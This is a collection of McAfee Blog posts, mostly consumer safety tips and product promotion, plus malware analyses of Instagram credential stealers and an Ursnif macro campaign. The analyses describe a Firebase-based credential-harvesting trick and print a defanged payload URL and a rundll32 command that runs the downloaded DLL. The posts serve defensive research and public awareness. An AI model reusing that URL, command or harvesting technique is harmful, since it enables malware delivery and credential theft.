The best time to deal with identity theft is before it happens. When you sign up for all-in-one protection, like McAfee Total Protection, you’ll get $1 million of identity theft protection insurance.
We’ll also provide identity monitoring to help catch threats to your information before they get out of hand. You’ll also get access to our Secure VPN and our quality antivirus and safe browsing software to protect you from threats like malware.
You deserve to live your life online and enjoy the internet the way it was meant to be. That’s where McAfee can help — making the digital world a safe place for you and your family!
We’ve got your back when it comes to your online identity with our identity protection service. When you sign up, we’ll keep tabs on up to 60 unique types of personal data, including your financial information. We’ll also notify you up to 10 months sooner than similar services if it seems like your identity has been compromised. And on top of $1 million of ID theft coverage, you’ll receive hands-on restoration support to get your identity back.
See how McAfee can help secure your personal information online and give you peace of mind. What Is Identity Theft and How Do You Recover From It?
The post What Is Identity Theft and How Do You Recover From It? appeared first on McAfee Blog.
The pandemic forced many parents into screentime management Bootcamp. We learned quickly that more hours at home require more intention in managing family technology. The exact purpose holds true for summer. Before things get too crazy—vacations, camps, and a revolving door of friends—a priority might be putting a screentime plan in place.
Add to the summer equation that many parents are still on remote or hybrid work schedules, and the need for a summer screentime plan becomes even more important.
But first, what’s the cost of just winging it with screentime this summer? Doing so could harm your child both emotionally and physically. According to the American Academy of Pediatrics (AAP), children spend an average of seven hours a day on entertainment media, such as televisions, computers, phones, and other electronic devices. Now that summer is here, we can assume that number will increase.
Balancing your child’s screentime is also a safety issue. As the summer ticks on, boredom can lead to more time online, which can open the door to threats such as cyberbullying, self-esteem and body issues, risky behavior, and connecting with strangers.
Keep in mind that every family’s summer screentime balance plan will be different depending on family schedules and children’s ages. Not sure where to begin? The AAP has an excellent, customizable Media Plan that includes a Screen Time Calculator. The guide will help you design a plan based on the ages of each child in your family.
One mom on Facebook recently shared a powerful reminder that, as parents, we only have 18 summers with our kids before—poof—they are grown. She also shared an inspiring visual reminder. She keeps a clear jar with each of her children’s names on it in plain view. Inside each jar, she places 18 colorful tiny pom-poms. She subtracts one pom pom each year on their birthday. As the pom poms visually decrease, it reminds her to make the most of her time with each child. Here’s hoping your summer is packed with less screentime and more moments that make each pom pom count.
The post 6 Tips to Help Your Balance Your Children’s Summer Screentime appeared first on McAfee Blog.
The topic most top of mind today for HR professionals is keeping and acquiring great talent. One of the most important elements of doing both is providing a desirable and meaningful set of employee benefits.
The idea of Digital Wellness isn’t exactly brand new, but the world we’ve lived in for the past few years has cemented it into one of the main pillars of employee benefits, joining the traditional big three of Financial, Mental and Physical Wellness.
One of the main reasons Digital Wellness has become essential is that so many people have had to both live and work exclusively online for an extended period of time – spending 8+ hours a day on personal things in addition to all those hours they spend working via the web. Things like banking, telehealth and shopping to name a few.
There’s almost no aspect of life that isn’t touched by the internet for most people, especially when adding their work environment into the mix.
In addition to all the regular life they live online, employees have become accustomed to working remotely, even if it’s just part of the time.
With these kinds of stats, it’s hardly surprising that 74% of employers plan to maintain some sort of remote/hybrid workforce into the foreseeable future6.
The digital world has become a veritable smorgasbord for hungry cyber criminals. In fact, there’s been a 400% increase in cybercrime just over the last couple of years7. To put it in perspective, here are a few sobering statistics that happen on a daily basis:
Unfortunately, all this means that people are in a constant battle to protect themselves from cyber risk.
With everyone going about their daily activities and working whenever and wherever they happen to be at the time, it’s probably no surprise that more than half of employees are using their personal devices for work11. It’s just too convenient not to. However, when you also realize that 95% of breaches are caused by human error12, this intersection between personal life and work-life becomes risky for both the employees and their employers. It’s no wonder that companies with a large number of employees working remotely have seen a 24% increase in breaches since the pandemic began13.
When companies’ networks are breached it causes their customers to be vulnerable, risking a huge blow to their reputation and invoking serious fines and penalties due to compliance failures. And trying to get cyber insurance to protect against financial loss has become increasingly more difficult. A recent article by the Wall Street Journal reported that cyber insurance premiums rose 92% in 2021 and the hoops companies have to jump through are much more stringent to be eligible for the coverage – things like providing cyber education and ensuring they’re taking stronger steps to protect their network and customer data14.
In addition to the direct financial impact of cyber threats, there’s also the loss of human capital. It can take up to six months and up to 200 hours of a person’s time to address and correct identity theft15. If employees are focusing on digital healing, it’s a fair bet they’re not focusing as closely on their work.
Preventative care is the first step toward Digital Wellness, and it consists of three, simple parts.
Restorative care is the second step in the Digital Wellness journey. If a digital threat sneaks through even after all the careful preventive care, it’s important to quickly remedy the situation.
Great benefits that have real meaning for employees are key to helping retain and acquire amazing talent. Providing an all-in-one and easy-to-use Digital Wellness solution designed to safeguard against compromised devices, privacy leaks, identity theft and other frustrating, time-consuming issues not only provides peace of mind for employees but also directly – and positively, impacts a company’s bottom line. Choosing a trusted cyber protection solution like McAfee for your Digital Wellness benefit will give your employees a brand they love and your company the advantage of 30+ years of experience protecting people from digital threats.
For more information on McAfee Digital Wellness, visit www.mcafee.com/employee-benefits-info or send an email to EmployeeBenefits@McAfee.com.
Footnotes –
The post McAfee’s Digital Wellness Delivers Online Protection As An Employee Benefit appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers.
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified.
The way the domain introduces is very simple.
When you run the function, you can see that the number of followers increases every few seconds.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29.
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security.
SHA256:
Domains:
The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(Left) and Mmalware(Right)
Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
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McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word document to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
Threat Summary
Infection Chain
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Figure-1: flowchart of infection chain
Word Analysis
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Figure-2: Image of what the user sees upon opening the document
VBA Macro Analysis of Word Document
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
Figure-3: Oleid output
Figure-4: Olevba output
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
Figure-5: Obfuscated VBA macro
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
Figure-6: De-obfuscated VBA macro (stage 1)
Figure-7: De-obfuscated VBA macro (stage 2)
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
Figure-8: Document properties
Payload Download and Execution:
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
Figure-9: Raw Company property
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
Figure-10: Code of VirtualProtect
Figure-11: Shellcode’s memory and protection after calling VirtualProtect()
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
Figure-12: Environment variable set in Winword.exe space
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
Figure-13: SetTimer function (Execution of shellCode)
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
Figure-14: Exports of Downloaded DLL
After successful execution of the shellcode, the environment variable is removed.
Figure-15: Removal of Environment Variable
IOC
TYPE | VALUE | PRODUCT | DETECTION NAME |
Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
MITRE Attack Framework
Technique ID | Tactic | Technique Details | Description |
T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
T1059.005 | Execution | Visual Basic | Malicious VBA macros |
T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
T1086 | Execution | Powershell execution | PowerShell command abuse |
Conclusion
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
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Mobile banking and finance apps have become increasingly popular in recent years. These apps provide a quick and convenient way to see checking and savings account balances and make and receive payments.
It’s no surprise that many people use these third-party apps to manage their finances. In 2021, the U.S. saw 573.1 million finance app downloads, a 19% increase from the previous year.
However, despite its benefits, mobile banking isn’t immune to risks. This article will discuss the safety and security of mobile finance apps and give you a few pointers to protect yourself while using these apps.
Yes, mobile banking is a pretty safe way to manage your finances; however, there can still be some risks associated with it, including fraud and scams.
If you’re careful, there are plenty of ways to protect yourself while using this incredibly easy banking method.
Here are a few tips to help you improve the safety of your online financial accounts.
A bank’s website will often include links to their mobile apps that provide related mobile banking services, along with details about the app’s features and how users can use it. You should use a trusted platform when installing the app, like the App Store for iPhone or iOS users or the Google Play Store for Android users.
You should also take time to go through reviews and related information about the app before downloading it to ensure its legitimacy. If you have any doubts, clarify the issue with your bank before downloading what could be a fake banking app.
While this may seem obvious, the reality is that many people don’t pay enough attention to their passwords. To create a strong password, you should use a combination of uppercase and lowercase letters, numbers, and special characters in no particular order or pattern.
In addition, security experts recommend long, complex passwords to exponentially increase the time it takes to crack them. It also helps to have unique passwords for each of your accounts.
If you’re concerned about remembering and managing multiple passwords, you can use a reputable and secure password manager like McAfee True Key to store your passwords.
Many services nowadays offer two-factor or multifactor authentication. This function refers to the additional layers of security against hackers. On top of a traditional username-password login, users are required to identify themselves with a code that’s sent to their cellphone or email.
By confirming the user’s identity this way, organizations eliminate a degree of uncertainty. While it isn’t foolproof, two-factor or multifactor authentication helps increase security. It’s worth checking if your finance app offers this feature.
Public Wi-Fi networks are convenient in urgent situations; however, they often come with a warning saying the network is unsecured. This means that the network is unencrypted, making it easy for hackers to access your personal information. The best practice is to avoid using public Wi-Fi networks, especially when carrying out any form of financial transaction.
If you need to make purchases or send and receive money while on the move, though, you’ll want to consider a virtual private network (VPN) like McAfee Secure VPN. The VPN provides a secure network even when using public Wi-Fi by hiding your IP address and encrypting your data.
The easiest way to protect your finances is to keep a vigilant eye on all of your transactions. However, security notifications from your bank are a great added measure. Most credit card companies allow you to turn on transaction alerts for various services, such as balance transfer requests, international purchases, and exceeded credit limits, which can help you recognize any suspicious activity on your account.
It’s also important to remember that financial institutions will never contact you over the phone or through email to ask for your banking information. If you receive such a message, it’s most certainly a scam. A common way people get duped is through calls or emails claiming they’ve won a prize and need to share personal account details to receive the money. Never share your bank account details, passwords, or one-time codes with strangers.
Always check with your bank to confirm any activity that seems out of the ordinary. In addition to alert notifications, banks can also send helpful tips to protect your account against fraud.
McAfee Security for Mobile is an award-winning cybersecurity tool that helps address the issues mentioned above and more. It’ll scan your device for malware, suspicious websites, and unsecured Wi-Fi networks so you can use social media or shop online with complete peace of mind.
It also comes with other features, like system cleaning services that clean junk from your phone’s storage. These features can boost battery life and help locate your phone if it’s ever stolen or misplaced.
Mobile and online banking both have their benefits and drawbacks, but which is the safer option? Experts often have varied opinions on the matter.
Some people believe it might be easier to download malware on a computer unknowingly, as it’s tricky to judge the authenticity of a website or malicious links. Users typically download apps from reputed app stores when using mobile devices, which lowers the risk.
On the other hand, professionals believe that both methods are equally safe. The choice depends on the network available to the user, as private networks are significantly less susceptible to hacking than public ones. Some users may prefer computers to mobile phones simply because they find it easier to perform tasks on a bigger screen.
Both internet and mobile banking are convenient and offer a quick way to manage your personal finances, as you don’t have to travel to a physical bank or carry large amounts of cash in your wallet.
However, while mobile banking is generally considered a safe method of managing your finances, it can have some vulnerabilities that scammers may try to take advantage of.
Following the tips mentioned above — like using a private network, not sharing personal details with anyone, and using a comprehensive mobile security tool like McAfee Security for Mobile — can make all the difference.
The tool’s security features include safe browsing, a secure VPN, and antivirus software. This means you can use your mobile finance apps confidently knowing McAfee is looking out for you.
The post How to Know If Your Mobile Finance Apps Are Safe appeared first on McAfee Blog.
The explosion of e-commerce sites has changed how we shop today, providing access to millions of online stores with almost unlimited selections.
Just as you would take basic precautions in a brick-and-mortar store — perhaps hiding your PIN number while paying and making sure the business is legitimate — you should also practice safe shopping habits online.
Here are eight ways you can avoid fake websites and other online scams and ensure that you’re dealing with legitimate companies and safe online stores.
One of the best ways to tell if an online store is legit and avoid debit and credit card scams, domain name and subdomain name takeovers, and other problems is with a free and effective download like McAfee WebAdvisor.
This smart tool helps you surf and shop with confidence, protecting you from malicious sites that can contain:
McAfee WebAdvisor is a free browser extension that downloads quickly and installs easily, working in the background automatically to protect you from malware and phishing as you surf, search, and enjoy online shopping.
McAfee WebAdvisor works with Windows 10, 8.1, 8, and 7 (32- and 64-bit) computers and is compatible with these browsers:
Here are other ways to make sure you know when you’re dealing with scammers online.
When checking an e-commerce site’s credentials, start with the address bar. Often, hackers will use URLs that are very close to the real site’s URL but not quite the same. Look for typos or use Google to see if a search takes you to the same page. Also, look for a padlock icon in the address bar.
Click the padlock and look at the drop-down menu that provides information, such as if the site has a valid certificate like SSL (verifying that the web address belongs to the company), how many cookies are in use, other site settings, and whether your information is safe when sent to this site.
The protection is pretty good but not perfect since some cybercriminals have been able to replicate these padlocks or take over legitimate sites that have them.
Trust seals, such as the TrustedSite certification, are stamps created by a certificate authority (CA) to confirm the legitimacy of a site. A trust seal tells visitors that they are on a safe site and the company that displays the mark prioritizes cybersecurity. Click on it, and you should be taken to a webpage that verifies the authenticity of the trust seal.
Google’s Safe Browsing technology crawls through billions of web addresses every day on the lookout for unsafe websites. The technology discovers thousands daily — often legitimate sites that have been compromised. Warnings for unsafe sites pop up in your browser and on the Google search engine. You can also search specific URLs to see if a site has been compromised.
It’s worth checking a company on social media to see if they appear to have a genuine following and legitimate posts. The Better Business Bureau (BBB) also has suggestions for spotting fake social media accounts, including those on LinkedIn, Facebook, Twitter, and Instagram. You should look for:
Another way to test the legitimacy of an online retail store is to check its contact information. Does it have a physical address, phone number, and email contact? Does the email address on the contact page have the company domain name in it, or is it generic (like a Gmail address)? If you send an email, does it get delivered?
Check to see if the e-commerce site looks as if it has been professionally produced or whether it has been thrown together with slapdash results. Are there typos, grammar errors, poor-quality images, and a sloppy design? Does it have a poorly worded return policy or no return policy at all?
All the things that undermine the professional appearance and authenticity of a site should be red flags and convince you that you’re on a scam website.
If the online company is a legitimate website (not a scam site) and has been around for a while, there should be authentic third-party reviews from previous customers. Review sites include Google My Business, Amazon, and Yelp.
If the reviews are uniformly bad, on the other hand, you have another type of problem to confront.
Since virtual shopping is fast becoming the new norm, it’s important to guard against cybercriminals that are increasingly targeting retailers and their customers. A great way to shop with confidence is to use McAfee WebAdvisor, which is available as a free download.
The web browser extension works tirelessly in the background to protect you as you browse and buy. Think of it as a gift to yourself so you can use the internet to its full potential while keeping your information protected.
The post 8 Ways to Know If Online Stores Are Safe and Legit appeared first on McAfee Blog.
Say you’re getting married. You and your partner have booked the venue, made the seating arrangements, trained your dog to be the ring bearer – and everything is running smoothly. You’ve used a trusty wedding planning website to make everything a breeze. Nothing could ruin this day for you! Except, there’s an uninvited guest. They’re not crashing the wedding and making an awkward toast, but they’ve crashed into your wedding planning website account and now have access to your information.
There are many things that could go wrong during wedding planning – some of them out of anyone’s control. Maybe the caterer canceled last minute, or the live band is stuck in traffic. Other things may be easily avoided, but you don’t necessarily see them coming. Like a hacker accessing your wedding website and making fraudulent bank transfers right before your big day.
Zola, a wedding planning site allowing couples to create websites, budgets, and gift registries, confirmed that hackers had managed to access the accounts of some of their users, The Verge reported. Once these accounts were infiltrated, hackers used the linked bank accounts or funds held inside the site to make cash transfers. The main method these cybercriminals used was purchasing gift cards through the user’s account and sending them to their email addresses to avoid being easily traced.
These criminals did not hack the Zola website itself but hacked their users’ accounts with a method called credential stuffing. This is a strategy where hackers take email and password combinations involved in previous breaches of other websites and use them to log into other online profiles.
You may not even know that your information had been breached previously and that cybercriminals now had your logins for a number of different accounts. Luckily, there are ways to protect yourself and your information from credential stuffing tactics to stop hackers in their tracks.
Just because you’ve hypothetically grown up and are ready for lifelong commitments doesn’t mean you’ve outgrown those old trusty email addresses and passwords (hello, “basketball4life23”). There’s a level of nostalgia that comes with using the email account that you made in middle school, or maybe you just haven’t gotten around to changing it. However, keeping those old email addresses and logins are doing you more harm than good. Want to make sure that hackers aren’t able to credential stuff your accounts? Here are some trusty tips to keep your information safe.
The best way to know that your old accounts aren’t coming back to haunt you is to make sure those ancient logins are dead and gone. If you don’t remember all the accounts you’ve made and no longer use, don’t sweat it! There are settings through your internet browser that will show you all the accounts and passwords you have saved. A password manager also keeps track of all your credentials, so you don’t have to wrack your brain to try and remember every account you’ve ever made. Once you’ve gone through all your old online accounts you no longer use, close them for good! Though this step will require some time and patience, it’s always better to put in the effort and know your information is safe than to risk it.
Only having to remember one password for every account may make logging in easier, but ensuring that each of your accounts is unique and secure is worth the extra effort. Having a strong and unique password for each of your accounts helps protect them from credential stuffing and other threats. Varying your passwords across online accounts will assure you that if one of them is breached, the others will remain safe. A password manager can also help with this step, because many of them, such as True Key, can generate strong, random, and unique passwords for every account.
Keep an eye out to make sure that if a website or company you have an account with is breached, you are updating your credentials so that hackers can’t access them. If you see that there has been a hack and your information is vulnerable, immediately update your logins and passwords on that account to keep yourself safe.
Using multifactor authentication adds an extra layer of protection to your accounts. This safety measure requires more than one method of identity verification to access the account, helping to prevent criminals from gaining access to your password-protected information.
Don’t let cybercriminals get the jump on you! Take the necessary steps to protect your accounts and your personal information. Though combing through your old accounts and deleting them or coming up with a new and unique password for every site login isn’t a glamourous activity, you’ll enjoy greater peace of mind that your accounts are safe, leaving you free to enjoy life’s best moments.
The post Wedding Planning App Users Hacked Before the Big Day appeared first on McAfee Blog.
The great thing about the internet is that there’s room for everyone. The not-so-great part? There’s plenty of room for cybercriminals who are hungry to get their hands on our personal information.
Fortunately, internet scams don’t have to be a part of your online experience. In this article, we’ll tell you about some of the most common internet schemes and how you can recognize them to keep your identity safe.
Scams are scary, but you can prevent yourself from falling for one by knowing what to look for. Here are a few tell-tale signs that you’re dealing with a scammer.
If you get a message that you’ve won a big sum of cash in a sweepstakes you don’t remember entering, it’s a scam. Scammers may tell you that all you need to do to claim your prize is send them a small fee or give them your banking information.
When you enter a real sweepstakes or lottery, it’s generally up to you to contact the organizer to claim your prize. Sweepstakes aren’t likely to chase you down to give you money.
Scammers will often ask you to pay them using gift cards, money orders, cryptocurrency (like Bitcoin), or through a particular money transfer service. Scammers need payments in forms that don’t give consumers protection.
Gift card payments, for example, are typically not reversible and hard to trace. Legitimate organizations will rarely, if ever, ask you to pay using a specific method, especially gift cards.
When you have to make online payments, it’s a good idea to use a secure service like PayPal. Secure payment systems can have features to keep you safe, like end-to-end encryption.
Scammers may try to make you panic by saying you owe money to a government agency and you need to pay them immediately to avoid being arrested. Or the criminal might try to tug at your heartstrings by pretending to be a family member in danger who needs money.
Criminals want you to pay them or give them your information quickly — before you have a chance to think about it. If someone tries to tell you to pay them immediately in a text message, phone call, or email, they’re likely a scammer.
Many scammers pretend to be part of government organizations like the Internal Revenue Service (IRS). They’ll claim you owe them money. Criminals can even use technology to make their phone numbers appear legitimate on your caller ID.
If someone claiming to be part of a government organization contacts you, go to that organization’s official site and find an official support number or email. Contact them to verify the information in the initial message.
Scammers may also pretend to be businesses, like your utility company. They’ll likely say something to scare you, like your gas will be turned off if you don’t pay them right away.
Most legitimate organizations will thoroughly proofread any copy or information they send to consumers. Professional emails are well-written, clear, and error-free. On the other hand, scam emails will likely be full of grammar, spelling, and punctuation errors.
It might surprise you to know that scammers write sloppy emails on purpose. The idea is that if the reader is attentive enough to spot the grammatical mistakes, they likely won’t fall for the scam.
There are certain scams that criminals try repeatedly because they’ve worked on so many people. Here are a few of the most common scams you should watch out for.
A phishing scam can be a phone or email scam. The criminal sends a message in which they pretend to represent an organization you know. It directs you to a fraud website that collects your sensitive information, like your passwords, Social Security number (SSN), and bank account data. Once the scammer has your personal information, they can use it for personal gain.
Phishing emails may try anything to get you to click on their fake link. They might claim to be your bank and ask you to log into your account to verify some suspicious activity. Or they could pretend to be a sweepstakes and say you need to fill out a form to claim a large reward.
During the coronavirus pandemic, new phishing scams have emerged, with scammers claiming to be part of various charities and nonprofits. Sites like Charity Navigator can help you discern real groups from fake ones.
These scams also became much more prominent during the pandemic. Let’s say you’re preparing to fly to Paris with your family. A scammer sends you a message offering you an insurance policy on any travel plans you might be making. They’ll claim the policy will compensate you if your travel plans fall through for any reason without any extra charges.
You think it might be a good idea to purchase this type of insurance. Right before leaving for your trip, you have to cancel your plans. You go to collect your insurance money only to realize the insurance company doesn’t exist.
Real travel insurance from a licensed business generally won’t cover foreseeable events (like travel advisories, government turmoil, or pandemics) unless you buy a Cancel for Any Reason (CFAR) addendum for your policy.
Grandparent scams prey on your instinct to protect your family. The scammer will call or send an email pretending to be a family member in some sort of emergency who needs you to wire them money. The scammer may beg you to act right away and avoid sharing their situation with any other family members.
For example, the scammer might call and say they’re your grandchild who’s been arrested in Mexico and needs money to pay bail. They’ll say they’re in danger and need you to send funds now to save them.
If you get a call or an email from an alleged family member requesting money, take the time to make sure they’re actually who they say they are. Never wire transfer money right away or over the phone. Ask them a question that only the family member would know and verify their story with the rest of your family.
You get an email from a prince. They’ve recently inherited a huge fortune from a member of their royal family. Now, the prince needs to keep their money in an American bank account to keep it safe. If you let them store their money in your bank account, you’ll be handsomely rewarded. You just need to send them a small fee to get the money.
There are several versions of this scam, but the prince iteration is a pretty common one. If you get these types of emails, don’t respond or give out your financial information.
Your online experience is rudely interrupted when a pop-up appears telling you there’s a huge virus on your computer. You need to “act fast” and contact the support phone number on the screen. If you don’t, all of your important data will be erased.
When you call the number, a fake tech support worker asks you for remote access to your device to “fix” the problem. If you give the scammer access to your device, they may steal your personal and financial information or install malware. Worse yet, they’ll probably charge you for it.
These scams can be pretty elaborate. A scam pop-up may even appear to be from a reputable software company. If you see this type of pop-up, don’t respond to it. Instead, try restarting or turning off your device. If the device doesn’t start back up, search for the support number for the device manufacturer and contact them directly.
Scammers will often pose as popular e-commerce companies by creating fake websites. The fake webpages might offer huge deals on social media. They’ll also likely have a URL close to the real business’s URL but slightly different.
Sometimes, a criminal is skilled enough to hack the website of a large online retailer. When a scammer infiltrates a retailer’s website, they can redirect where the links on that site lead. This is called formjacking.
For example, you might go to an e-commerce store to buy a jacket. You find the jacket and put it in your online shopping cart. You click “check out,” and you’re taken to a form that collects your credit card information. What you don’t know is that the checkout form is fake. Your credit card number is going directly to the scammers.
Whenever you’re redirected from a website to make a payment or enter in information, always check the URL. If the form is legitimate, it will have the same URL as the site you were on. A fake form will have a URL that’s close to but not exactly the same as the original site.
These scams are similar to tech support scams. However, instead of urging you to speak directly with a fake tech support person, their goal is to get you to download a fake antivirus software product (scareware).
You’ll see a pop-up that says your computer has a virus, malware, or some other problem. The only way to get rid of the problem is to install the security software the pop-up links to. You think you’re downloading antivirus software that will save your computer.
What you’re actually downloading is malicious software. There are several types of malware. The program might be ransomware that locks up your information until you pay the scammers or spyware that tracks your online activity.
To avoid this scam, never download antivirus software from a pop-up. You’ll be much better off visiting the website of a reputable company, like McAfee, to download antivirus software.
Dealing with credit card debt can be extremely stressful. Scammers know this and try to capitalize off it. They’ll send emails posing as credit experts and tell you they can help you fix your credit or relieve some of your debt. They might even claim they can hide harmful details on your credit report.
All you have to do is pay a small fee. Of course, after you pay the fee, the “credit expert” disappears without helping you out with your credit at all. Generally, legitimate debt settlement firms won’t charge you upfront. If a credit relief company charges you a fee upfront, that’s a red flag.
Before you enter into an agreement with any credit service, check out their reputation. Do an online search on the company to see what you can find. If there’s nothing about the credit repair company online, it’s probably fake.
Admitting that you’ve fallen for an online scam can be embarrassing. But reporting a scammer can help stop them from taking advantage of anyone else. If you’ve been the victim of an online scam, try contacting your local police department and filing a report with the Federal Trade Commission (FTC).
Several other law enforcement organizations handle different types of fraud. Here are a few examples of institutions that can help you report scams.
Fraudsters shouldn’t stop you from enjoying your time online. Just by learning to spot an online scam, you can greatly strengthen your immunity to cybercrimes.
For an even greater internet experience, you’ll want the right tools to protect yourself online. McAfee’s Total Protection services can help you confidently surf the web by providing all-in-one protection for your personal info and privacy. This includes identity protection — which comes with 24/7 monitoring of your email addresses and bank accounts — and antivirus software to help safeguard your internet connection.
Get the peace of mind that comes with McAfee having your back.
The post How to Recognize an Online Scammer appeared first on McAfee Blog.
Online banking puts the ability to pay bills, check your balance, or transfer money at your fingertips. Unfortunately, it can also make you vulnerable to scammers who may try to trick you into giving them access to your account.
By remaining vigilant, though, you can avoid common scams. This article discusses mobile banking scams and how to avoid them.
